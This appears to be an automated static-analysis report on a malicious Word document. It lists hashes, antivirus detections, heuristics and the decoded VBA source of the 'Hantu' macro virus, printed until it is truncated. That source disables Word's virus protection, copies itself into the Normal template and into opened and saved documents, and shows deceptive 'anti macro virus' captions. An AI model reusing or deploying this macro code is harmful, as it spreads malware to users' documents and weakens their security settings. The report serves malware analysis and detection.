Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e502b37f895a88d…

MALICIOUS

Office (OLE)

44.0 KB Created: 2000-08-21 19:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5af04fb9d1bfa6aff97c13bd031b3743 SHA-1: 3377fc23743c32f3a4913f114db94411db6062ff SHA-256: 9e502b37f895a88d9b47a975304835a69eadfa4d1be5627ae0d18bcbc97afafa
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV and contains VBA macros. The 'AutoOpen' and 'AutoClose' macros, along with the 'ShowMessage' subroutine, suggest an attempt to execute code upon document opening and closing, possibly to display messages or manipulate the user. The 'Bablas' subroutine attempts to disable macro security features, indicating a malicious intent to evade detection.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4537 bytes
SHA-256: 69104ac5d59ec058181778fd09d846c5cbb193ba312ab48a0706636d8d2a86b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MacHantu"
Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("Terimakasih buat Sahabatku " & _
    "buat Sahabatku, ma'af mengganggu.)", vbOKOnly + vbExclamation, "Ucapan Terimakasih")
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub
Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub
Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Anti Macro Virus is now activating "
    ActiveWindow.Caption = "(Don't Worry Baby.)"
End Sub
Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Hantu Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "Hantu") = "hantu" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "MacHantu" Then DocOk = True
        If Obj.Name <> "MacHantu" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting Macro Virus in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Deleting Macro Virus From Normal Template ..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="MacHantu", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "MacHantu" Then NorOk = True
        If Obj.Name <> "MacHantu" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting Macro Virus in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Deleting Macro Virus From " + ActiveDocument.Name
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="MacHantu", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    SikatDocument
End Sub
Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub target()
    C = Documents.Count
    If C <> 0 Then
      
... (truncated)

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